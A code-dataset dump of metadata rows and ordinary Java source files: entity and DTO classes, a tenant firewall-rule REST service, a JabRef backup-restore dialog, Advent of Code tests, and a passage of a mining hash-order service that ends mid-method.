hexsha stringlengths 40 40 | size int64 3 1.05M | ext stringclasses 1 value | lang stringclasses 1 value | max_stars_repo_path stringlengths 5 1.02k | max_stars_repo_name stringlengths 4 126 | max_stars_repo_head_hexsha stringlengths 40 78 | max_stars_repo_licenses list | max_stars_count float64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 5 1.02k | max_issues_repo_name stringlengths 4 114 | max_issues_repo_head_hexsha stringlengths 40 78 | max_issues_repo_licenses list | max_issues_count float64 1 92.2k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 5 1.02k | max_forks_repo_name stringlengths 4 136 | max_forks_repo_head_hexsha stringlengths 40 78 | max_forks_repo_licenses list | max_forks_count float64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | avg_line_length float64 2.55 99.9 | max_line_length int64 3 1k | alphanum_fraction float64 0.25 1 | index int64 0 1M | content stringlengths 3 1.05M |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
3e0e3a527cebdb1ba2eeea0bd1a309a00f17aa74 | 2,617 | java | Java | src/main/java/com/upgrade/persistence/model/Moneda.java | cristhian-ccm/erp_azul_mkt_cambios | 3580cfa3364e727ed200ec21725c240dda12ac26 | [
"Unlicense"
] | null | null | null | src/main/java/com/upgrade/persistence/model/Moneda.java | cristhian-ccm/erp_azul_mkt_cambios | 3580cfa3364e727ed200ec21725c240dda12ac26 | [
"Unlicense"
] | null | null | null | src/main/java/com/upgrade/persistence/model/Moneda.java | cristhian-ccm/erp_azul_mkt_cambios | 3580cfa3364e727ed200ec21725c240dda12ac26 | [
"Unlicense"
] | null | null | null | 19.825758 | 79 | 0.595338 | 6,028 | /*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package com.upgrade.persistence.model;
import ts.com.service.util.db.client.FieldDB;
import ts.com.service.util.db.client.TableDB;
import java.io.Serializable;
import java.util.Objects;
/**
*
* @author Evander
*/
@TableDB(name = "public.monedas",sequence = "public.monedas_id_seq")
public class Moneda implements Serializable {
@FieldDB(value = "id")
public Integer id;
@FieldDB(value = "inactivo")
public Boolean inactivo;
@FieldDB(value = "nombre")
public String nombre;
@FieldDB(value = "simbolo")
public String simbolo;
@FieldDB(value = "nacional")
public Boolean nacional;
@FieldDB(value = "iso4217")
public String iso4217;
@FieldDB(value = "inicial")
public String inicial;
public Integer getId() {
return id;
}
public void setId(Integer id) {
this.id = id;
}
public Boolean getInactivo() {
return inactivo;
}
public void setInactivo(Boolean inactivo) {
this.inactivo = inactivo;
}
public String getNombre() {
return nombre;
}
public void setNombre(String nombre) {
this.nombre = nombre;
}
public String getSimbolo() {
return simbolo;
}
public void setSimbolo(String simbolo) {
this.simbolo = simbolo;
}
public Boolean getNacional() {
return nacional;
}
public void setNacional(Boolean nacional) {
this.nacional = nacional;
}
public String getIso4217() {
return iso4217;
}
public void setIso4217(String iso4217) {
this.iso4217 = iso4217;
}
public String getInicial() {
return inicial;
}
public void setInicial(String inicial) {
this.inicial = inicial;
}
public Moneda() {
// TODO Auto-generated constructor stub
}
@Override
public int hashCode() {
int hash = 3;
hash = 71 * hash + Objects.hashCode(this.id);
return hash;
}
@Override
public boolean equals(Object obj) {
if (obj == null) {
return false;
}
if (getClass() != obj.getClass()) {
return false;
}
final Moneda other = (Moneda) obj;
if (!Objects.equals(this.id, other.id)) {
return false;
}
return true;
}
@Override
public String toString() {
return nombre;
}
}
|
3e0e3a949203703d152a8ed4cc178f2df34339a2 | 13,943 | java | Java | webapp-tenantapi/src/main/java/com/deleidos/rtws/webapp/tenantapi/servlet/enunciate/SecurityGroupServiceImpl.java | deleidos/digitaledge-platform | 1eafdb92f6a205936ab4e08ef62be6bb0b9c9ec9 | [
"Apache-2.0"
] | 4 | 2015-07-09T14:57:07.000Z | 2022-02-23T17:48:24.000Z | webapp-tenantapi/src/main/java/com/deleidos/rtws/webapp/tenantapi/servlet/enunciate/SecurityGroupServiceImpl.java | deleidos/digitaledge-platform | 1eafdb92f6a205936ab4e08ef62be6bb0b9c9ec9 | [
"Apache-2.0"
] | 1 | 2016-04-20T01:13:29.000Z | 2016-04-20T01:13:29.000Z | webapp-tenantapi/src/main/java/com/deleidos/rtws/webapp/tenantapi/servlet/enunciate/SecurityGroupServiceImpl.java | deleidos/digitaledge-platform | 1eafdb92f6a205936ab4e08ef62be6bb0b9c9ec9 | [
"Apache-2.0"
] | 4 | 2016-03-10T00:23:17.000Z | 2022-03-02T11:17:02.000Z | 53.217557 | 101 | 0.705946 | 6,029 | /**
* Apache License
* Version 2.0, January 2004
* http://www.apache.org/licenses/
*
* TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
*
* 1. Definitions.
*
* "License" shall mean the terms and conditions for use, reproduction,
* and distribution as defined by Sections 1 through 9 of this document.
*
* "Licensor" shall mean the copyright owner or entity authorized by
* the copyright owner that is granting the License.
*
* "Legal Entity" shall mean the union of the acting entity and all
* other entities that control, are controlled by, or are under common
* control with that entity. For the purposes of this definition,
* "control" means (i) the power, direct or indirect, to cause the
* direction or management of such entity, whether by contract or
* otherwise, or (ii) ownership of fifty percent (50%) or more of the
* outstanding shares, or (iii) beneficial ownership of such entity.
*
* "You" (or "Your") shall mean an individual or Legal Entity
* exercising permissions granted by this License.
*
* "Source" form shall mean the preferred form for making modifications,
* including but not limited to software source code, documentation
* source, and configuration files.
*
* "Object" form shall mean any form resulting from mechanical
* transformation or translation of a Source form, including but
* not limited to compiled object code, generated documentation,
* and conversions to other media types.
*
* "Work" shall mean the work of authorship, whether in Source or
* Object form, made available under the License, as indicated by a
* copyright notice that is included in or attached to the work
* (an example is provided in the Appendix below).
*
* "Derivative Works" shall mean any work, whether in Source or Object
* form, that is based on (or derived from) the Work and for which the
* editorial revisions, annotations, elaborations, or other modifications
* represent, as a whole, an original work of authorship. For the purposes
* of this License, Derivative Works shall not include works that remain
* separable from, or merely link (or bind by name) to the interfaces of,
* the Work and Derivative Works thereof.
*
* "Contribution" shall mean any work of authorship, including
* the original version of the Work and any modifications or additions
* to that Work or Derivative Works thereof, that is intentionally
* submitted to Licensor for inclusion in the Work by the copyright owner
* or by an individual or Legal Entity authorized to submit on behalf of
* the copyright owner. For the purposes of this definition, "submitted"
* means any form of electronic, verbal, or written communication sent
* to the Licensor or its representatives, including but not limited to
* communication on electronic mailing lists, source code control systems,
* and issue tracking systems that are managed by, or on behalf of, the
* Licensor for the purpose of discussing and improving the Work, but
* excluding communication that is conspicuously marked or otherwise
* designated in writing by the copyright owner as "Not a Contribution."
*
* "Contributor" shall mean Licensor and any individual or Legal Entity
* on behalf of whom a Contribution has been received by Licensor and
* subsequently incorporated within the Work.
*
* 2. Grant of Copyright License. Subject to the terms and conditions of
* this License, each Contributor hereby grants to You a perpetual,
* worldwide, non-exclusive, no-charge, royalty-free, irrevocable
* copyright license to reproduce, prepare Derivative Works of,
* publicly display, publicly perform, sublicense, and distribute the
* Work and such Derivative Works in Source or Object form.
*
* 3. Grant of Patent License. Subject to the terms and conditions of
* this License, each Contributor hereby grants to You a perpetual,
* worldwide, non-exclusive, no-charge, royalty-free, irrevocable
* (except as stated in this section) patent license to make, have made,
* use, offer to sell, sell, import, and otherwise transfer the Work,
* where such license applies only to those patent claims licensable
* by such Contributor that are necessarily infringed by their
* Contribution(s) alone or by combination of their Contribution(s)
* with the Work to which such Contribution(s) was submitted. If You
* institute patent litigation against any entity (including a
* cross-claim or counterclaim in a lawsuit) alleging that the Work
* or a Contribution incorporated within the Work constitutes direct
* or contributory patent infringement, then any patent licenses
* granted to You under this License for that Work shall terminate
* as of the date such litigation is filed.
*
* 4. Redistribution. You may reproduce and distribute copies of the
* Work or Derivative Works thereof in any medium, with or without
* modifications, and in Source or Object form, provided that You
* meet the following conditions:
*
* (a) You must give any other recipients of the Work or
* Derivative Works a copy of this License; and
*
* (b) You must cause any modified files to carry prominent notices
* stating that You changed the files; and
*
* (c) You must retain, in the Source form of any Derivative Works
* that You distribute, all copyright, patent, trademark, and
* attribution notices from the Source form of the Work,
* excluding those notices that do not pertain to any part of
* the Derivative Works; and
*
* (d) If the Work includes a "NOTICE" text file as part of its
* distribution, then any Derivative Works that You distribute must
* include a readable copy of the attribution notices contained
* within such NOTICE file, excluding those notices that do not
* pertain to any part of the Derivative Works, in at least one
* of the following places: within a NOTICE text file distributed
* as part of the Derivative Works; within the Source form or
* documentation, if provided along with the Derivative Works; or,
* within a display generated by the Derivative Works, if and
* wherever such third-party notices normally appear. The contents
* of the NOTICE file are for informational purposes only and
* do not modify the License. You may add Your own attribution
* notices within Derivative Works that You distribute, alongside
* or as an addendum to the NOTICE text from the Work, provided
* that such additional attribution notices cannot be construed
* as modifying the License.
*
* You may add Your own copyright statement to Your modifications and
* may provide additional or different license terms and conditions
* for use, reproduction, or distribution of Your modifications, or
* for any such Derivative Works as a whole, provided Your use,
* reproduction, and distribution of the Work otherwise complies with
* the conditions stated in this License.
*
* 5. Submission of Contributions. Unless You explicitly state otherwise,
* any Contribution intentionally submitted for inclusion in the Work
* by You to the Licensor shall be under the terms and conditions of
* this License, without any additional terms or conditions.
* Notwithstanding the above, nothing herein shall supersede or modify
* the terms of any separate license agreement you may have executed
* with Licensor regarding such Contributions.
*
* 6. Trademarks. This License does not grant permission to use the trade
* names, trademarks, service marks, or product names of the Licensor,
* except as required for reasonable and customary use in describing the
* origin of the Work and reproducing the content of the NOTICE file.
*
* 7. Disclaimer of Warranty. Unless required by applicable law or
* agreed to in writing, Licensor provides the Work (and each
* Contributor provides its Contributions) on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
* implied, including, without limitation, any warranties or conditions
* of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
* PARTICULAR PURPOSE. You are solely responsible for determining the
* appropriateness of using or redistributing the Work and assume any
* risks associated with Your exercise of permissions under this License.
*
* 8. Limitation of Liability. In no event and under no legal theory,
* whether in tort (including negligence), contract, or otherwise,
* unless required by applicable law (such as deliberate and grossly
* negligent acts) or agreed to in writing, shall any Contributor be
* liable to You for damages, including any direct, indirect, special,
* incidental, or consequential damages of any character arising as a
* result of this License or out of the use or inability to use the
* Work (including but not limited to damages for loss of goodwill,
* work stoppage, computer failure or malfunction, or any and all
* other commercial damages or losses), even if such Contributor
* has been advised of the possibility of such damages.
*
* 9. Accepting Warranty or Additional Liability. While redistributing
* the Work or Derivative Works thereof, You may choose to offer,
* and charge a fee for, acceptance of support, warranty, indemnity,
* or other liability obligations and/or rights consistent with this
* License. However, in accepting such obligations, You may act only
* on Your own behalf and on Your sole responsibility, not on behalf
* of any other Contributor, and only if You agree to indemnify,
* defend, and hold each Contributor harmless for any liability
* incurred by, or claims asserted against, such Contributor by reason
* of your accepting any such warranty or additional liability.
*
* END OF TERMS AND CONDITIONS
*
* APPENDIX: How to apply the Apache License to your work.
*
* To apply the Apache License to your work, attach the following
* boilerplate notice, with the fields enclosed by brackets "{}"
* replaced with your own identifying information. (Don't include
* the brackets!) The text should be enclosed in the appropriate
* comment syntax for the file format. We also recommend that a
* file or class name and description of purpose be included on the
* same "printed page" as the copyright notice for easier
* identification within third-party archives.
*
* Copyright {yyyy} {name of copyright owner}
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.deleidos.rtws.webapp.tenantapi.servlet.enunciate;
import javax.ws.rs.Path;
import org.apache.log4j.LogManager;
import org.apache.log4j.Logger;
import com.deleidos.rtws.commons.model.response.StandardResponse;
import com.deleidos.rtws.webapp.tenantapi.cache.AccountEntry;
import com.deleidos.rtws.webapp.tenantapi.cache.CacheManager;
import com.deleidos.rtws.webapp.tenantapi.client.RestClientManager;
import com.deleidos.rtws.webapp.tenantapi.common.BaseService;
/**
* Implementation of Security Group Service.
*/
@Path("/security/group")
public class SecurityGroupServiceImpl extends BaseService implements SecurityGroupService {
private static final Logger logger = LogManager.getLogger(SecurityGroupServiceImpl.class);
public StandardResponse<?> create(
String tenantId,
String region,
String groupName,
String protocol,
String fromPort,
String toPort,
String source) {
try {
AccountEntry entry = CacheManager.getTenantAccountCache().get(tenantId);
RestClientManager.getGatewayAPIClient().createFirewallRule(entry.getIAASAccount().getAccountId(),
region, groupName, protocol, fromPort,toPort, source);
return buildPropertiesResponse(200, "Status", "true");
} catch(Exception ex) {
logger.error("Service failed to create security rule", ex);
return buildErrorResponse(500, ex.getMessage());
}
}
public StandardResponse<?> delete(
String tenantId,
String region,
String groupName,
String protocol,
String fromPort,
String toPort,
String source) {
try {
AccountEntry entry = CacheManager.getTenantAccountCache().get(tenantId);
RestClientManager.getGatewayAPIClient().deleteFirewallRule(entry.getIAASAccount().getAccountId(),
region, groupName, protocol, fromPort, toPort, source);
return buildPropertiesResponse(200, "Status", "true");
} catch(Exception ex) {
logger.error("Service failed to delete security rule.", ex);
return buildErrorResponse(500, ex.getMessage());
}
}
} |
3e0e3ae5906c2c8b7914ffdc6bb4fd4b7f82eb81 | 2,325 | java | Java | mneme-project/ambrosia/ambrosia-api/api/src/java/org/etudes/ambrosia/api/Decision.java | mpellicer/sakai | cbccc0a810107050f284e7213183b2ecdfc1dd3a | [
"ECL-2.0"
] | 4 | 2017-03-22T16:57:42.000Z | 2020-04-07T17:34:41.000Z | mneme-project/ambrosia/ambrosia-api/api/src/java/org/etudes/ambrosia/api/Decision.java | mpellicer/sakai | cbccc0a810107050f284e7213183b2ecdfc1dd3a | [
"ECL-2.0"
] | 216 | 2016-06-23T14:02:32.000Z | 2021-08-31T17:11:24.000Z | mneme-project/ambrosia/ambrosia-api/api/src/java/org/etudes/ambrosia/api/Decision.java | mpellicer/sakai | cbccc0a810107050f284e7213183b2ecdfc1dd3a | [
"ECL-2.0"
] | 4 | 2016-07-26T07:23:42.000Z | 2020-10-07T12:21:53.000Z | 31.418919 | 104 | 0.630968 | 6,030 | /**********************************************************************************
* $URL$
* $Id$
***********************************************************************************
*
* Copyright (c) 2008 Etudes, Inc.
*
* Portions completed before September 1, 2008
* Copyright (c) 2007, 2008 The Regents of the University of Michigan & Foothill College, ETUDES Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*
**********************************************************************************/
package org.etudes.ambrosia.api;
/**
* UiDecision controls making an Entity selector based decision.
*/
public interface Decision
{
/**
* Make the decision, based on a boolean interpretation of the selector of this entity object.
*
* @param context
* The UiContext.
* @param entity
* The entity to get the selector value from.
* @return True if the entity has the selector and it evaluates to a boolean TRUE value, false if not.
*/
boolean decide(Context context, Object focus);
/**
* Get the property reference that will provide the comparison value.
*
* @return The property reference that will provide the comparison value.
*/
PropertyReference getProperty();
/**
* Set the decision delegate - who will make the actual decision.
*
* @param delegate
* The decision delegate.
* @return self.
*/
Decision setDelegate(DecisionDelegate delegate);
/**
* Set the property reference that will provide the comparison value.
*
* @param propertyReference
* The property reference that will provide the comparison value.
*/
Decision setProperty(PropertyReference propertyReference);
/**
* Set the decision to look for the reverse of the set conditions.
*
* @return self.
*/
Decision setReversed();
}
|
3e0e3be4571ac22c44eca529d49386ebf15d21ad | 1,206 | java | Java | src/main/java/org/jabref/gui/autosaveandbackup/BackupUIManager.java | caioasilva/T5-ES-DC-UFSCAR-TA | be1c48e6f342d5a91cd201d4674afff17d401625 | [
"MIT"
] | 2 | 2017-12-20T15:40:29.000Z | 2018-12-14T09:35:11.000Z | src/main/java/org/jabref/gui/autosaveandbackup/BackupUIManager.java | T2-ES-DC-UFSCAR-TC/jabRefImproved | 96ad162c721b59dfc0613a048e13bed32ea37e99 | [
"MIT"
] | 12 | 2017-07-20T12:40:24.000Z | 2017-07-20T13:02:34.000Z | src/main/java/org/jabref/gui/autosaveandbackup/BackupUIManager.java | T2-ES-DC-UFSCAR-TC/jabRefImproved | 96ad162c721b59dfc0613a048e13bed32ea37e99 | [
"MIT"
] | 1 | 2017-07-18T18:13:29.000Z | 2017-07-18T18:13:29.000Z | 35.470588 | 136 | 0.656716 | 6,031 | package org.jabref.gui.autosaveandbackup;
import java.nio.file.Path;
import javax.swing.JFrame;
import javax.swing.JOptionPane;
import org.jabref.logic.autosaveandbackup.BackupManager;
import org.jabref.logic.l10n.Localization;
/**
* Stores all user dialogs related to {@link BackupManager}.
*/
public class BackupUIManager {
private BackupUIManager() {
}
public static void showRestoreBackupDialog(JFrame frame, Path originalPath) {
int answer = JOptionPane.showConfirmDialog(frame,
new StringBuilder()
.append(Localization.lang("A backup file for '%0' was found.", originalPath.getFileName().toString()))
.append("\n")
.append(Localization.lang("This could indicate that JabRef did not shut down cleanly last time the file was used."))
.append("\n\n")
.append(Localization.lang("Do you want to recover the library from the backup file?")).toString(),
Localization.lang("Backup found"), JOptionPane.YES_NO_OPTION, JOptionPane.WARNING_MESSAGE);
if (answer == 0) {
BackupManager.restoreBackup(originalPath);
}
}
}
|
3e0e3c2dfe539e105759b5ac1055be527d6e2acb | 1,232 | java | Java | textrepo-app/src/main/java/nl/knaw/huc/service/document/files/JdbiDocumentFilesService.java | BasLee/textrepo | c858e9eb190ddbd51949c620fa3af6233b0d7e05 | [
"Apache-2.0"
] | null | null | null | textrepo-app/src/main/java/nl/knaw/huc/service/document/files/JdbiDocumentFilesService.java | BasLee/textrepo | c858e9eb190ddbd51949c620fa3af6233b0d7e05 | [
"Apache-2.0"
] | null | null | null | textrepo-app/src/main/java/nl/knaw/huc/service/document/files/JdbiDocumentFilesService.java | BasLee/textrepo | c858e9eb190ddbd51949c620fa3af6233b0d7e05 | [
"Apache-2.0"
] | null | null | null | 31.589744 | 100 | 0.712662 | 6,032 | package nl.knaw.huc.service.document.files;
import static java.lang.String.format;
import java.util.UUID;
import javax.ws.rs.NotFoundException;
import nl.knaw.huc.core.Page;
import nl.knaw.huc.core.PageParams;
import nl.knaw.huc.core.TextRepoFile;
import nl.knaw.huc.db.DocumentFilesDao;
import nl.knaw.huc.db.DocumentsDao;
import org.jdbi.v3.core.Jdbi;
public class JdbiDocumentFilesService implements DocumentFilesService {
private final Jdbi jdbi;
public JdbiDocumentFilesService(Jdbi jdbi) {
this.jdbi = jdbi;
}
@Override
public Page<TextRepoFile> getFilesByDocumentAndTypeId(UUID docId, Short typeId,
PageParams pageParams) {
var total = documentsFiles().countByDocumentAndTypeId(docId, typeId);
if (total == 0) {
if (jdbi.onDemand(DocumentsDao.class).get(docId).isEmpty()) {
throw new NotFoundException(format("No document with id %s and type id %s", docId, typeId));
}
}
var files = documentsFiles().findFilesByDocumentAndTypeId(docId, typeId, pageParams);
return new Page<>(files, total, pageParams);
}
private DocumentFilesDao documentsFiles() {
return jdbi.onDemand(DocumentFilesDao.class);
}
}
|
3e0e3d3a3d85de45e7e9820e55f2a9b3ee73c56d | 451 | java | Java | seal-datastructure/src/main/java/com/seal/datastructure/SealDatastructureApplication.java | youngMen1/programmer-seal-code | 56f0f0a9b3c5bed4a25631a306bfcf3910b9d227 | [
"MIT"
] | null | null | null | seal-datastructure/src/main/java/com/seal/datastructure/SealDatastructureApplication.java | youngMen1/programmer-seal-code | 56f0f0a9b3c5bed4a25631a306bfcf3910b9d227 | [
"MIT"
] | null | null | null | seal-datastructure/src/main/java/com/seal/datastructure/SealDatastructureApplication.java | youngMen1/programmer-seal-code | 56f0f0a9b3c5bed4a25631a306bfcf3910b9d227 | [
"MIT"
] | null | null | null | 22.55 | 72 | 0.760532 | 6,033 | package com.seal.datastructure;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
/**
* @author zhiqiang.feng
* @version 1.0
* @date-time 2019/02/13-11:01
* @description 数据结构
**/
@SpringBootApplication
public class SealDatastructureApplication {
public static void main(String[] args) {
SpringApplication.run(SealDatastructureApplication.class, args);
}
}
|
3e0e3dce4a27b97b265be28a7be588b115d64409 | 4,692 | java | Java | src/main/java/com/microsoft/bingads/v11/customermanagement/entities/CustomerInfo.java | feedeo/bingads-api | 86d9684b52095c2064f97dda0356a3916a4ce50a | [
"MIT"
] | null | null | null | src/main/java/com/microsoft/bingads/v11/customermanagement/entities/CustomerInfo.java | feedeo/bingads-api | 86d9684b52095c2064f97dda0356a3916a4ce50a | [
"MIT"
] | null | null | null | src/main/java/com/microsoft/bingads/v11/customermanagement/entities/CustomerInfo.java | feedeo/bingads-api | 86d9684b52095c2064f97dda0356a3916a4ce50a | [
"MIT"
] | 1 | 2019-01-12T06:14:24.000Z | 2019-01-12T06:14:24.000Z | 30.270968 | 130 | 0.581628 | 6,034 | /**
* CustomerInfo.java
* <p>
* This file was auto-generated from WSDL
* by the Apache Axis 1.4 Apr 22, 2006 (06:55:48 PDT) WSDL2Java emitter.
*/
package com.microsoft.bingads.v11.customermanagement.entities;
public class CustomerInfo implements java.io.Serializable {
// Type metadata
private static org.apache.axis.description.TypeDesc typeDesc =
new org.apache.axis.description.TypeDesc(CustomerInfo.class, true);
static {
typeDesc.setXmlType(new javax.xml.namespace.QName("https://bingads.microsoft.com/Customer/v11/Entities", "CustomerInfo"));
org.apache.axis.description.ElementDesc elemField = new org.apache.axis.description.ElementDesc();
elemField.setFieldName("id");
elemField.setXmlName(new javax.xml.namespace.QName("https://bingads.microsoft.com/Customer/v11/Entities", "Id"));
elemField.setXmlType(new javax.xml.namespace.QName("http://www.w3.org/2001/XMLSchema", "long"));
elemField.setMinOccurs(0);
elemField.setNillable(true);
typeDesc.addFieldDesc(elemField);
elemField = new org.apache.axis.description.ElementDesc();
elemField.setFieldName("name");
elemField.setXmlName(new javax.xml.namespace.QName("https://bingads.microsoft.com/Customer/v11/Entities", "Name"));
elemField.setXmlType(new javax.xml.namespace.QName("http://www.w3.org/2001/XMLSchema", "string"));
elemField.setMinOccurs(0);
elemField.setNillable(true);
typeDesc.addFieldDesc(elemField);
}
private java.lang.Long id;
private java.lang.String name;
private java.lang.Object __equalsCalc = null;
private boolean __hashCodeCalc = false;
public CustomerInfo() {
}
public CustomerInfo(
java.lang.Long id,
java.lang.String name) {
this.id = id;
this.name = name;
}
/**
* Return type metadata object
*/
public static org.apache.axis.description.TypeDesc getTypeDesc() {
return typeDesc;
}
/**
* Get Custom Serializer
*/
public static org.apache.axis.encoding.Serializer getSerializer(
java.lang.String mechType,
java.lang.Class _javaType,
javax.xml.namespace.QName _xmlType) {
return
new org.apache.axis.encoding.ser.BeanSerializer(
_javaType, _xmlType, typeDesc);
}
/**
* Get Custom Deserializer
*/
public static org.apache.axis.encoding.Deserializer getDeserializer(
java.lang.String mechType,
java.lang.Class _javaType,
javax.xml.namespace.QName _xmlType) {
return
new org.apache.axis.encoding.ser.BeanDeserializer(
_javaType, _xmlType, typeDesc);
}
/**
* Gets the id value for this CustomerInfo.
*
* @return id
*/
public java.lang.Long getId() {
return id;
}
/**
* Sets the id value for this CustomerInfo.
*
* @param id
*/
public void setId(java.lang.Long id) {
this.id = id;
}
/**
* Gets the name value for this CustomerInfo.
*
* @return name
*/
public java.lang.String getName() {
return name;
}
/**
* Sets the name value for this CustomerInfo.
*
* @param name
*/
public void setName(java.lang.String name) {
this.name = name;
}
public synchronized boolean equals(java.lang.Object obj) {
if (!(obj instanceof CustomerInfo)) return false;
CustomerInfo other = (CustomerInfo) obj;
if (obj == null) return false;
if (this == obj) return true;
if (__equalsCalc != null) {
return (__equalsCalc == obj);
}
__equalsCalc = obj;
boolean _equals;
_equals = true &&
((this.id == null && other.getId() == null) ||
(this.id != null &&
this.id.equals(other.getId()))) &&
((this.name == null && other.getName() == null) ||
(this.name != null &&
this.name.equals(other.getName())));
__equalsCalc = null;
return _equals;
}
public synchronized int hashCode() {
if (__hashCodeCalc) {
return 0;
}
__hashCodeCalc = true;
int _hashCode = 1;
if (getId() != null) {
_hashCode += getId().hashCode();
}
if (getName() != null) {
_hashCode += getName().hashCode();
}
__hashCodeCalc = false;
return _hashCode;
}
}
|
3e0e3dd0bfdf3756c67ae9ecd3ee8f693687c796 | 509 | java | Java | src/main/java/edu/ucdavis/dss/ipa/api/components/budget/views/WorkgroupIdBudgetScenarioId.java | ucdavis/ipa-web | 46011262ed0596c2bfd5083bec43843e2c4a276d | [
"MIT"
] | 2 | 2020-01-05T10:51:11.000Z | 2020-06-23T20:51:38.000Z | src/main/java/edu/ucdavis/dss/ipa/api/components/budget/views/WorkgroupIdBudgetScenarioId.java | ucdavis/ipa-web | 46011262ed0596c2bfd5083bec43843e2c4a276d | [
"MIT"
] | 37 | 2017-01-25T00:04:15.000Z | 2020-11-06T00:15:43.000Z | src/main/java/edu/ucdavis/dss/ipa/api/components/budget/views/WorkgroupIdBudgetScenarioId.java | ucdavis/ipa-web | 46011262ed0596c2bfd5083bec43843e2c4a276d | [
"MIT"
] | 1 | 2019-11-06T08:50:04.000Z | 2019-11-06T08:50:04.000Z | 23.136364 | 60 | 0.70334 | 6,035 | package edu.ucdavis.dss.ipa.api.components.budget.views;
public class WorkgroupIdBudgetScenarioId {
long workgroupId, budgetScenarioId;
public long getWorkgroupId() {
return workgroupId;
}
public void setWorkgroupId(long workgroupId) {
this.workgroupId = workgroupId;
}
public long getBudgetScenarioId() {
return budgetScenarioId;
}
public void setBudgetScenarioId(long budgetScenarioId) {
this.budgetScenarioId = budgetScenarioId;
}
}
|
3e0e3eafc3826e42f5bdd56cd700adf41ecf48b0 | 638 | java | Java | day2/src/test/java/Day2Test.java | stanciua/adeventofcode2018 | 8a7ec00e28f1af5f3ddee67ae64c6fb7d4efda04 | [
"MIT"
] | null | null | null | day2/src/test/java/Day2Test.java | stanciua/adeventofcode2018 | 8a7ec00e28f1af5f3ddee67ae64c6fb7d4efda04 | [
"MIT"
] | null | null | null | day2/src/test/java/Day2Test.java | stanciua/adeventofcode2018 | 8a7ec00e28f1af5f3ddee67ae64c6fb7d4efda04 | [
"MIT"
] | null | null | null | 22.785714 | 73 | 0.564263 | 6,036 | import org.junit.Ignore;
import org.junit.Test;
import static org.junit.Assert.assertEquals;
public class Day2Test {
@Test
public void testDay1Result1() {
try {
Day2 day2 = new Day2("src/test/java/input.txt");
assertEquals(5434, day2.getResult1());
} catch(Exception e) {
assert(false);
}
}
@Test
public void testDay1Result2() {
try {
Day2 day2 = new Day2("src/test/java/input.txt");
assertEquals("agimdjvlhedpsyoqfzuknpjwt", day2.getResult2());
} catch(Exception e) {
assert(false);
}
}
}
|
3e0e3ef56fd9da10684b77db35174ecdb1ef405c | 5,891 | java | Java | src/main/java/com/flower/mine/service/HashOrderService.java | arsenalfaning/mine | c6664792784c51c8a109174dd2e799451ac7bd8a | [
"MIT"
] | null | null | null | src/main/java/com/flower/mine/service/HashOrderService.java | arsenalfaning/mine | c6664792784c51c8a109174dd2e799451ac7bd8a | [
"MIT"
] | null | null | null | src/main/java/com/flower/mine/service/HashOrderService.java | arsenalfaning/mine | c6664792784c51c8a109174dd2e799451ac7bd8a | [
"MIT"
] | null | null | null | 40.909722 | 145 | 0.676625 | 6,037 | package com.flower.mine.service;
import com.flower.mine.bean.*;
import com.flower.mine.exception.BaseRuntimeException;
import com.flower.mine.exception.HashNotEnoughError;
import com.flower.mine.exception.NotFoundError;
import com.flower.mine.param.HashOrderParam;
import com.flower.mine.repository.*;
import com.flower.mine.ret.HashOrderResult;
import com.flower.mine.session.SessionUtil;
import com.flower.mine.util.DateUtil;
import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.time.DateUtils;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.domain.Page;
import org.springframework.data.domain.PageRequest;
import org.springframework.data.domain.Sort;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import java.math.BigDecimal;
import java.util.Calendar;
import java.util.Date;
import java.util.List;
import java.util.Optional;
@Service
public class HashOrderService {
private static final Logger log = LoggerFactory.getLogger(HashOrderService.class);
@Autowired
private HashOrderRepository hashOrderRepository;
@Autowired
private HashrateRepository hashrateRepository;
@Autowired
private ParameterService parameterService;
@Autowired
private ChargeRepository chargeRepository;
@Autowired
private AccountRepository accountRepository;
@Autowired
private GainRepository gainRepository;
/**
* 下单
* @param param
*/
public HashOrderResult hashOrder(HashOrderParam param) {
Optional<Hashrate> hashrateOptional = hashrateRepository.findById(param.getHashRateId());
if ( !hashrateOptional.isPresent() ) {
throw new NotFoundError();
}
Hashrate hashrate = hashrateOptional.get();
if (param.getHash() < hashrate.getMin() || param.getHash() > hashrate.getMax()) {
throw new BaseRuntimeException();
}
HashOrder hashOrder = new HashOrder();
hashOrder.setUsername(SessionUtil.currentUserId());
hashOrder.setHash(param.getHash());
hashOrder.setCost( hashrate.getPrice().multiply( new BigDecimal( param.getHash() ) ).setScale(10) );
